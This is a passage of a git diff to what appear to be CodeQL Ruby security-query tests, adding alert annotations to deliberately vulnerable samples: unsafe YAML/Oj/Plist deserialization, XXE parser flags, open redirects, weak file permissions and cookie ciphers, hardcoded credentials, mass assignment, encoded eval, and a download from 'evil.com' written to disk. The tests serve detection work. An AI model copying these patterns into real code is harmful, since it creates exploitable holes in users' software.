@@ def route6 # BAD - Oj.load is unsafe in its default :object mode def route7 - json_data = params[:key] - object = Oj.load json_data - object = Oj.load json_data, mode: :object + json_data = params[:key] # $ Source + object = Oj.load json_data # $ Alert + object = Oj.load json_data, mode: :object # $ Alert end # GOOD - Oj.load is safe in any other mode def route8 - json_data = params[:key] + json_data = params[:key] # $ Source # Test the different ways the options hash can be passed options = { allow_blank: true, mode: :rails } object1 = Oj.load json_data, options @@ -67,7 +67,7 @@ def route8 # TODO: false positive; we aren't detecting flow from `:json` to the call argument. more_options = { allow_blank: true } more_options[:mode] = :json - object4 = Oj.load json_data, more_options + object4 = Oj.load json_data, more_options # $ Alert end # GOOD @@ -78,20 +78,20 @@ def route9 # BAD - Oj.object_load is always unsafe def route10 - json_data = params[:key] - object = Oj.object_load json_data + json_data = params[:key] # $ Source + object = Oj.object_load json_data # $ Alert end # BAD - Ox.parse_obj is always unsafe def route11 - xml_data = params[:key] - object = Ox.parse_obj xml_data + xml_data = params[:key] # $ Source + object = Ox.parse_obj xml_data # $ Alert end # BAD - Ox.load with :object mode is always unsafe def route12 - xml_data = params[:key] - object = Ox.load xml_data, mode: :object + xml_data = params[:key] # $ Source + object = Ox.load xml_data, mode: :object # $ Alert end # GOOD - Ox.load is safe in the default mode (which is :generic) and in any other mode than :object @@ -106,21 +106,21 @@ def route13 # BAD - `Hash.from_trusted_xml` will deserialize elements with the # `type="yaml"` attribute as YAML. def route14 - xml = params[:key] - hash = Hash.from_trusted_xml(xml) + xml = params[:key] # $ Source + hash = Hash.from_trusted_xml(xml) # $ Alert end # BAD before psych version 4.0.0 def route15 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end # GOOD In psych version 4.0.0 and above def route16 - yaml_data = params[:key] - object = Psych.load yaml_data + yaml_data = params[:key] # $ Source + object = Psych.load yaml_data # $ Alert object = Psych.load_file yaml_data end @@ -134,21 +134,21 @@ def route17 # BAD def route18 - yaml_data = params[:key] - object = Psych.unsafe_load(yaml_data) - object = Psych.unsafe_load_file(yaml_data) - object = Psych.load_stream(yaml_data) + yaml_data = params[:key] # $ Source + object = Psych.unsafe_load(yaml_data) # $ Alert + object = Psych.unsafe_load_file(yaml_data) # $ Alert + object = Psych.load_stream(yaml_data) # $ Alert parse_output = Psych.parse_stream(yaml_data) - object = parse_output.to_ruby - object = Psych.parse(yaml_data).to_ruby - object = Psych.parse_file(yaml_data).to_ruby + object = parse_output.to_ruby # $ Alert + object = Psych.parse(yaml_data).to_ruby # $ Alert + object = Psych.parse_file(yaml_data).to_ruby # $ Alert end # BAD def route19 - plist_data = params[:key] - result = Plist.parse_xml(plist_data) - result = Plist.parse_xml(plist_data, marshal: true) + plist_data = params[:key] # $ Source + result = Plist.parse_xml(plist_data) # $ Alert + result = Plist.parse_xml(plist_data, marshal: true) # $ Alert end # GOOD @@ -158,18 +158,18 @@ def route20 end def stdin - object = YAML.load $stdin.read + object = YAML.load $stdin.read # $ Alert # STDIN - object = YAML.load STDIN.gets + object = YAML.load STDIN.gets # $ Alert # ARGF - object = YAML.load ARGF.read + object = YAML.load ARGF.read # $ Alert # Kernel.gets - object = YAML.load gets + object = YAML.load gets # $ Alert # Kernel.readlines - object = YAML.load readlines + object = YAML.load readlines # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref index afa4fec282c5..48494558b680 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref +++ b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref @@ -1 +1,2 @@ -queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql +query: queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-506/tst.rb b/ruby/ql/test/query-tests/security/cwe-506/tst.rb index 67d117e95c49..bcc2c61f027a 100644 --- a/ruby/ql/test/query-tests/security/cwe-506/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-506/tst.rb @@ -2,17 +2,17 @@ def e(r) [r].pack 'H*' end -totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' +totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' # $ Source -eval(e(totally_harmless_string)) # NOT OK: eval("puts('hello'") +eval(e(totally_harmless_string)) # NOT OK: eval("puts('hello'") # $ Alert eval(totally_harmless_string) # OK: throws parse error -require e('666f6f626172') # NOT OK: require 'foobar' +require e('666f6f626172') # NOT OK: require 'foobar' # $ Alert require '666f6f626172' # OK: no taint step between source and sink x = 'deadbeef' require e(x) # OK: doesn't meet our criteria for being a source -another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" -eval(another_questionable_string.strip) # NOT OK: eval("puts('hello'") +another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" # $ Source +eval(another_questionable_string.strip) # NOT OK: eval("puts('hello'") # $ Alert eval(another_questionable_string) # OK: no taint step between source and sink diff --git a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref index 98d0d8e6be71..1488e6145ba9 100644 --- a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref @@ -1 +1,2 @@ -queries/security/cwe-598/SensitiveGetQuery.ql \ No newline at end of file +query: queries/security/cwe-598/SensitiveGetQuery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb index 441d8b493ab4..3fefc82a0922 100644 --- a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb @@ -1,17 +1,17 @@ class UsersController < ApplicationController def login_get_1 - foo = params[:password] # BAD: route handler uses GET query parameters to receive sensitive data + foo = params[:password] # BAD: route handler uses GET query parameters to receive sensitive data # $ Alert authenticate_user(params[:username], foo) end def login_get_2 - password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data + password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data # $ Alert authenticate_user(params[:username], password) end def login_get_3 - @password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data + @password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data # $ Alert authenticate_user(params[:username], @password) end diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref index 422dc00837aa..76f39c8d6f3d 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref @@ -1 +1,2 @@ -queries/security/cwe-601/UrlRedirect.ql +query: queries/security/cwe-601/UrlRedirect.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb index 78f2248434b1..f44cef2b558e 100644 --- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb +++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb @@ -1,27 +1,27 @@ class UsersController < ActionController::Base # BAD def route1 - redirect_to params + redirect_to params # $ Alert end # BAD def route2 - redirect_to params[:key] + redirect_to params[:key] # $ Alert end # BAD def route3 - redirect_to params.fetch(:specific_arg) + redirect_to params.fetch(:specific_arg) # $ Alert end # BAD def route4 - redirect_to params.to_unsafe_hash + redirect_to params.to_unsafe_hash # $ Alert end # BAD def route5 - redirect_to filter_params(params) + redirect_to filter_params(params) # $ Alert end # GOOD @@ -31,7 +31,7 @@ def route6 # BAD def route7 - redirect_to "#{params[:key]}/foo" + redirect_to "#{params[:key]}/foo" # $ Alert end # GOOD @@ -55,22 +55,22 @@ def create1 # The same as `create1` but this is reachable via a GET request, as configured # by the routes at the bottom of this file. def route9 - redirect_to params[:key] + redirect_to params[:key] # $ Alert end # BAD def route10 - redirect_back fallback_location: params[:key] + redirect_back fallback_location: params[:key] # $ Alert end # BAD def route11 - redirect_back fallback_location: params[:key], allow_other_host: true + redirect_back fallback_location: params[:key], allow_other_host: true # $ Alert end # BAD def route12 - redirect_back_or_to params[:key] + redirect_back_or_to params[:key] # $ Alert end # GOOD diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb index 4e3565e149a2..c7013082c77e 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb @@ -13,11 +13,11 @@ def self.default_substitute_entities class LibXmlRubyXXE < ApplicationController def foo - content = params[:xml] + content = params[:xml] # $ Source - LibXML::XML::Parser.file(content, { options: 2048 }) - Hash.from_xml(content) - Hash.from_trusted_xml(content) - ActiveSupport::XmlMini.parse(content) + LibXML::XML::Parser.file(content, { options: 2048 }) # $ Alert + Hash.from_xml(content) # $ Alert + Hash.from_trusted_xml(content) # $ Alert + ActiveSupport::XmlMini.parse(content) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref index 8ed653a4869f..50d9b176008c 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref +++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref @@ -1 +1,2 @@ -queries/security/cwe-611/Xxe.ql +query: queries/security/cwe-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb index a8d640d62c6a..2e38a92330fa 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb @@ -1,15 +1,15 @@ class LibXmlRubyXXE < ApplicationController - content = params[:xml] - LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) - LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) - LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) - LibXML::XML::Parser.string(content, { options: 2 | 2048 }) - LibXML::XML::Parser.file(content, { options: 3 | 2048 }) - LibXML::XML::Parser.io(content, { options: 2 | 2048}) + content = params[:xml] # $ Source + LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) # $ Alert + LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) # $ Alert + LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) # $ Alert + LibXML::XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert + LibXML::XML::Parser.file(content, { options: 3 | 2048 }) # $ Alert + LibXML::XML::Parser.io(content, { options: 2 | 2048}) # $ Alert - XML::Document.string(content, { options: 2 | 2048 }) - XML::Parser.string(content, { options: 2 | 2048 }) + XML::Document.string(content, { options: 2 | 2048 }) # $ Alert + XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert LibXML::XML::Parser.file(content, { options: 2048 }) # OK diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb index 76f37cfb751e..c4b03ad2645a 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb @@ -1,30 +1,30 @@ class NokogiriXXE < ApplicationController - content = params[:xml] + content = params[:xml] # $ Source - Nokogiri::XML::parse(content, nil, nil, 2) - Nokogiri::XML::parse(content, nil, nil, 1 | 2) - Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) + Nokogiri::XML::parse(content, nil, nil, 2) # $ Alert + Nokogiri::XML::parse(content, nil, nil, 1 | 2) # $ Alert + Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) # $ Alert Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NOENT) #OK - Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) + Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) # $ Alert + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) # $ Alert options = Nokogiri::XML::ParseOptions.new 2048 options.noent - Nokogiri::XML::parse(content, nil, nil, options) - Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) + Nokogiri::XML::parse(content, nil, nil, options) # $ Alert + Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) # $ Alert - Nokogiri::XML::parse(content) { |x| x.noent } - Nokogiri::XML::parse(content) { |x| x.nononet } #FAIL + Nokogiri::XML::parse(content) { |x| x.noent } # $ Alert + Nokogiri::XML::parse(content) { |x| x.nononet } #FAIL # $ Alert Nokogiri::XML::parse(content) { |x| x.nodtdload } # OK - Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } + Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } # $ Alert Nokogiri::XML::parse(content, nil, nil, 2048) # OK - Nokogiri::XML::parse(content, nil, nil, 3) + Nokogiri::XML::parse(content, nil, nil, 3) # $ Alert Nokogiri::XML::parse(content) { |x| x.nonet.nodtdload } # OK - Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) - Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) + Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert + Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref index 8ed653a4869f..50d9b176008c 100644 --- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref +++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref @@ -1 +1,2 @@ -queries/security/cwe-611/Xxe.ql +query: queries/security/cwe-611/Xxe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb index 305bdb2d1470..00530836bb07 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb +++ b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb @@ -2,13 +2,13 @@ def run_chmod_1(filename) # BAD: sets file as world writable - FileUtils.chmod 0222, filename + FileUtils.chmod 0222, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world writable - FileUtils.chmod 0622, filename + FileUtils.chmod 0622, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world readable - FileUtils.chmod 0755, filename + FileUtils.chmod 0755, filename # $ Alert[rb/overly-permissive-file] # BAD: sets file as world readable + writable - FileUtils.chmod 0777, filename + FileUtils.chmod 0777, filename # $ Alert[rb/overly-permissive-file] end module DummyModule @@ -25,7 +25,7 @@ def run_chmod_2(filename) baz.chmod 0755, filename baz = bar # BAD: sets file as world readable - baz.chmod 0755, filename + baz.chmod 0755, filename # $ Alert[rb/overly-permissive-file] end def run_chmod_3(filename) @@ -48,26 +48,26 @@ def run_chmod_4(filename) end def run_chmod_5(filename) - perm = 0777 + perm = 0777 # $ Alert[rb/overly-permissive-file] # BAD: sets world rwx - FileUtils.chmod perm, filename + FileUtils.chmod perm, filename # $ Sink[rb/overly-permissive-file] perm2 = perm # BAD: sets world rwx - FileUtils.chmod perm2, filename + FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file] - perm = "u=wrx,g=rwx,o=x" + perm = "u=wrx,g=rwx,o=x" # $ Alert[rb/overly-permissive-file] perm2 = perm # BAD: sets group rwx - FileUtils.chmod perm2, filename + FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file] # BAD: sets file as world readable - FileUtils.chmod "u=rwx,o+r", filename + FileUtils.chmod "u=rwx,o+r", filename # $ Alert[rb/overly-permissive-file] # GOOD: sets file as group/world unreadable FileUtils.chmod "u=rwx,go-r", filename # BAD: sets group/world as +rw - FileUtils.chmod "a+rw", filename + FileUtils.chmod "a+rw", filename # $ Alert[rb/overly-permissive-file] end def run_chmod_R(filename) # BAD: sets file as world readable - FileUtils.chmod_R 0755, filename + FileUtils.chmod_R 0755, filename # $ Alert[rb/overly-permissive-file] end diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref index 7c8c5ca3c934..94f0b0dac3c2 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref @@ -1 +1,2 @@ -queries/security/cwe-732/WeakCookieConfiguration.ql +query: queries/security/cwe-732/WeakCookieConfiguration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref index bf19b31509d5..baceccada54c 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref +++ b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref @@ -1 +1,2 @@ -queries/security/cwe-732/WeakFilePermissions.ql +query: queries/security/cwe-732/WeakFilePermissions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb index 5b5604f4d783..e6993033b229 100644 --- a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb +++ b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb @@ -11,16 +11,16 @@ class Application < Rails::Application config.action_dispatch.encrypted_cookie_cipher = "ChaCha" # BAD: weak block encryption algorithm - config.action_dispatch.encrypted_cookie_cipher = "DES" + config.action_dispatch.encrypted_cookie_cipher = "DES" # $ Alert[rb/weak-cookie-configuration] # BAD: weak block encryption mode - config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" + config.action_dispatch.encrypted_cookie_cipher = "AES-256-ECB" # $ Alert[rb/weak-cookie-configuration] # GOOD config.action_dispatch.use_authenticated_cookie_encryption = true # BAD: less secure block encryption mode - config.action_dispatch.use_authenticated_cookie_encryption = false + config.action_dispatch.use_authenticated_cookie_encryption = false # $ Alert[rb/weak-cookie-configuration] # GOOD config.action_dispatch.cookies_same_site_protection = :lax @@ -29,9 +29,9 @@ class Application < Rails::Application config.action_dispatch.cookies_same_site_protection = "strict" # BAD: disabling same-site protections for sending cookies - config.action_dispatch.cookies_same_site_protection = :none + config.action_dispatch.cookies_same_site_protection = :none # $ Alert[rb/weak-cookie-configuration] # BAD: not all browsers default to `lax` if unset - config.action_dispatch.cookies_same_site_protection = nil + config.action_dispatch.cookies_same_site_protection = nil # $ Alert[rb/weak-cookie-configuration] end end diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref index e65b7754872d..81afcc528c80 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.qlref @@ -1 +1,2 @@ -queries/security/cwe-798/HardcodedCredentials.ql +query: queries/security/cwe-798/HardcodedCredentials.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb index 57f05a25fdf0..c405ceb630f2 100644 --- a/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb +++ b/ruby/ql/test/query-tests/security/cwe-798/HardcodedCredentials.rb @@ -1,24 +1,24 @@ -def authenticate(uid, password, cert: nil) +def authenticate(uid, password, cert: nil) # $ Sink if cert != nil then # comparison with hardcoded credential - return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" + return cert == "xwjVWdfzfRlbcgKkbSfG/xSrUeHYqxPgz9WKN3Yow1o=" # $ Alert end # comparison with hardcoded credential - uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" + uid == 123 and password == "X6BLgRWSAtAWG/GaHS+WGGW2K7zZFTAjJ54fGSudHJk=" # $ Alert end # call with hardcoded credential as argument -authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") +authenticate(123, "4NQX/CqB5Ae98zFUmwj1DMpF7azshxSvb0Jo4gIFmIQ=") # $ Alert # call with hardcoded credential as argument -authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") +authenticate(456, nil, cert: "WLC17dLQ9P8YlQvqm77qplOMm5pd1q25Q2onWqu78JI=") # $ Alert # concatenation involving literal -authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") +authenticate(789, "pw:" + "ogH6qSYWGdbR/2WOGYa7eZ/tObL+GtqDPx6q37BTTRQ=") # $ Alert -pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" -pw_right = "4fQuzXef4f2yow8KWvIJTA==" +pw_left = "3jOe7sXKX6Tx52qHWUVqh2t9LNsE+ZXFj2qw6asRARTV2deAXFKkMTVOoaFYom1Q" # $ Alert +pw_right = "4fQuzXef4f2yow8KWvIJTA==" # $ Alert pw = pw_left + pw_right authenticate(999, pw) @@ -28,18 +28,18 @@ def authenticate(uid, password, cert: nil) module Passwords class KnownPasswords - def include?(passwd) + def include?(passwd) # $ Sink passwd == "foo" end end end # Call to object method -Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") +Passwords::KnownPasswords.new.include?("kdW/xVhiv6y1fQQNevDpUaq+2rfPKfh+teE/45zS7bc=") # $ Alert # Call to unrelated method with same name (should not be flagged) "foobar".include?("foo") -def default_cred(username = "user@test.com", password = "abcdef123456") +def default_cred(username = "user@test.com", password = "abcdef123456") # $ Alert username end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref index 9639e207d1ee..5b8e3bc44f1d 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.qlref @@ -1 +1,2 @@ -experimental/cwe-807/ConditionalBypass.ql \ No newline at end of file +query: experimental/cwe-807/ConditionalBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb index 1bd45f15043f..1a6dd87ab791 100644 --- a/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb +++ b/ruby/ql/test/query-tests/security/cwe-807-user-controlled-bypass/ConditionalBypass.rb @@ -1,9 +1,9 @@ class FooController < ActionController::Base def bad_handler1 - check = params[:check] + check = params[:check] # $ Source name = params[:name] - if check + if check # $ Alert # BAD authenticate_user! name end @@ -11,7 +11,7 @@ def bad_handler1 def bad_handler2 # BAD - login if params[:login] + login if params[:login] # $ Alert do_something_else end @@ -22,9 +22,9 @@ def bad_handler3 end def bad_handler4 - p = (params[:name] == "foo") + p = (params[:name] == "foo") # $ Source # BAD - if p + if p # $ Alert verify! end end diff --git a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref index 2b41f979bb58..06312044c512 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref +++ b/ruby/ql/test/query-tests/security/cwe-912/HttpToFileAccess.qlref @@ -1 +1,2 @@ -queries/security/cwe-912/HttpToFileAccess.ql \ No newline at end of file +query: queries/security/cwe-912/HttpToFileAccess.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb index aa8ce4c46ff0..e9783c063763 100644 --- a/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb +++ b/ruby/ql/test/query-tests/security/cwe-912/http_to_file_access.rb @@ -1,14 +1,14 @@ require "net/http" -resp = Net::HTTP.new("evil.com").get("/script").body +resp = Net::HTTP.new("evil.com").get("/script").body # $ Source file = File.open("/tmp/script", "w") -file.write(resp) # BAD +file.write(resp) # BAD # $ Alert class ExampleController < ActionController::Base def example - script = params[:script] + script = params[:script] # $ Source file = File.open("/tmp/script", "w") - file.write(script) # BAD + file.write(script) # BAD # $ Alert end def example2 diff --git a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref index 89dbc405a3ae..d60d17065b7d 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref +++ b/ruby/ql/test/query-tests/security/cwe-915/MassAssignment.qlref @@ -1 +1,2 @@ -queries/security/cwe-915/MassAssignment.ql \ No newline at end of file +query: queries/security/cwe-915/MassAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-915/test.rb b/ruby/ql/test/query-tests/security/cwe-915/test.rb index c72ad536ef73..6af19ca39d4f 100644 --- a/ruby/ql/test/query-tests/security/cwe-915/test.rb +++ b/ruby/ql/test/query-tests/security/cwe-915/test.rb @@ -5,7 +5,7 @@ class User < ApplicationRecord class UserController < ActionController::Base def create # BAD: arbitrary params are permitted to be used for this assignment - User.new(user_params).save! + User.new(user_params).save! # $ Alert end def create2 @@ -15,42 +15,42 @@ def create2 def create3 # each BAD - User.build(user_params) - User.create(user_params) - User.create!(user_params) - User.insert(user_params) - User.insert!(user_params) + User.build(user_params) # $ Alert + User.create(user_params) # $ Alert + User.create!(user_params) # $ Alert + User.insert(user_params) # $ Alert + User.insert!(user_params) # $ Alert User.insert_all([user_params]) User.insert_all!([user_params]) - User.update(user_params) - User.update(7, user_params) - User.update!(user_params) - User.update!(7, user_params) - User.upsert(user_params) + User.update(user_params) # $ Alert + User.update(7, user_params) # $ Alert + User.update!(user_params) # $ Alert + User.update!(7, user_params) # $ Alert + User.upsert(user_params) # $ Alert User.upsert([user_params]) - User.find_or_create_by(user_params) - User.find_or_create_by!(user_params) - User.find_or_initialize_by(user_params) - User.create_or_find_by(user_params) - User.create_or_find_by!(user_params) - User.create_with(user_params) + User.find_or_create_by(user_params) # $ Alert + User.find_or_create_by!(user_params) # $ Alert + User.find_or_initialize_by(user_params) # $ Alert + User.create_or_find_by(user_params) # $ Alert + User.create_or_find_by!(user_params) # $ Alert + User.create_with(user_params) # $ Alert user = User.where(name:"abc") user.update(user_params) end def user_params - params.require(:user).permit! + params.require(:user).permit! # $ Source end def create4 - x = params[:user] + x = params[:user] # $ Source x.permit! - User.new(x) # BAD + User.new(x) # BAD # $ Alert User.new(x.permit(:name,:address)) # GOOD - User.new(params.permit(user: {})) # BAD - User.new(params.permit(user: [:name, :address, {friends:{}}])) # BAD - User.new(params.to_unsafe_h) # BAD + User.new(params.permit(user: {})) # BAD # $ Alert + User.new(params.permit(user: [:name, :address, {friends:{}}])) # BAD # $ Alert + User.new(params.to_unsafe_h) # BAD # $ Alert User.new(params.permit(user: [:name, :address]).to_unsafe_h) # GOOD end end \ No newline at end of file diff --git 